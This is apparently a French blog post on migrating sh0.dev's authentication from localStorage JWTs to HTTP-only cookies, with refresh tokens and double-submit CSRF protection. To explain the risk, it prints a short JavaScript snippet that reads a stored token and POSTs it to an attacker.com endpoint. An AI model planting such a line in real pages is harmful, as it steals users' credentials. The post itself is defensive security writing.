Back to sh0
sh0

Migration des jetons localStorage vers les cookies HTTP-Only

Comment nous avons migré l'authentification de sh0 des jetons JWT en localStorage vers des cookies HTTP-only avec protection CSRF en double soumission.

Thales & Claude | March 30, 2026 4 min sh0
EN/ FR/ ES
securitycookiescsrfauthenticationsvelterustweb-security

Pendant les onze premiers jours de construction de sh0.dev, nous stockions les jetons JWT en localStorage. Cela fonctionnait. Le tableau de bord Svelte sauvegardait le jeton à la connexion, l'attachait comme header Bearer à chaque appel API, et le passait comme paramètre de requête pour les connexions WebSocket. Authentification SPA standard, comme l'enseignent des centaines de tutoriels.

C'est aussi fondamentalement non sécurisé.

Au jour douze, notre audit de sécurité a signalé le stockage de jetons en localStorage comme un problème de sévérité moyenne. Au jour dix-sept, nous l'avons entièrement arraché et remplacé par des cookies HTTP-only, un flux de jeton de rafraîchissement et une protection CSRF en double soumission.


Pourquoi les jetons localStorage sont un problème

Le problème est simple : tout JavaScript s'exécutant sur votre origine peut lire le localStorage. Si un attaquant trouve une seule vulnérabilité XSS, il peut exécuter :

javascriptconst token = localStorage.getItem('sh0_token');
fetch('https://attacker.com/steal', { method: 'POST', body: token });

Fin de partie. L'attaquant a un JWT valide avec accès API complet.

Les cookies HTTP-only éliminent entièrement ce vecteur d'attaque. Un cookie avec le flag HttpOnly ne peut pas être lu par JavaScript. Le navigateur l'attache automatiquement aux requêtes, mais document.cookie ne retourne rien.


L'architecture des cookies

Nous avons remplacé le JWT unique par trois cookies :

CookieObjectifFlagsExpiration
sh0_accessJeton d'accès JWTHttpOnly, Secure, SameSite=Strict, Path=/api15 minutes
sh0_refreshJeton de rafraîchissementHttpOnly, Secure, SameSite=Strict, Path=/api/auth/refresh30 jours
sh0_csrfJeton CSRF double soumissionSameSite=Strict, Path=/ (lisible par JS)Session

Le jeton d'accès est de courte durée -- 15 minutes au lieu des 7 jours originaux. Quand il expire, le frontend appelle silencieusement /api/auth/refresh.


Protection CSRF en double soumission

Les cookies HTTP-only introduisent un nouveau problème : le CSRF. Nous utilisons le pattern de double soumission de cookie :

  1. À la connexion, le serveur génère un jeton CSRF aléatoire et le place dans le cookie sh0_csrf (lisible par JavaScript)
  2. Le frontend lit ce cookie et inclut sa valeur dans le header X-CSRF-Token à chaque requête modifiant l'état
  3. Le middleware serveur compare la valeur du header X-CSRF-Token avec la valeur du cookie sh0_csrf

Cela fonctionne parce qu'un attaquant cross-origin peut faire envoyer le cookie par le navigateur mais ne peut pas le lire (politique de même origine).


Authentification WebSocket via cookies

L'implémentation WebSocket originale passait le JWT comme paramètre de requête -- visible dans les logs, l'historique du navigateur et les headers Referer. Avec l'auth par cookie, les cookies sont envoyés automatiquement pendant le handshake d'upgrade WebSocket -- pas d'attachement manuel de jeton nécessaire.


Compatibilité ascendante

La migration maintient la compatibilité ascendante via une chaîne de priorité dans l'extracteur AuthUser :

  1. Header Bearer -- outils CLI, intégrations API
  2. Cookie sh0_access -- tableau de bord navigateur
  3. Cookie legacy sh0_session -- anciennes versions du tableau de bord
  4. Clé API -- si la valeur Bearer commence par sh0_

La migration est non cassante. Les scripts CLI existants continuent de fonctionner.


Points clés

  1. Les jetons localStorage sont un anti-pattern. Toute vulnérabilité XSS devient un vol persistant d'identifiants.
  2. Accès de courte durée + rafraîchissement de longue durée est l'architecture correcte.
  3. La protection CSRF est obligatoire avec l'auth par cookie.
  4. L'auth WebSocket appartient aux cookies, pas aux paramètres de requête.
  5. Maintenir la compatibilité ascendante via une chaîne de priorité dans l'extracteur d'auth.

Prochain dans la série : Prévention de l'injection de commandes dans un PaaS.

Share this article:

Responses

Write a response
0/2000
Loading responses...

Related Articles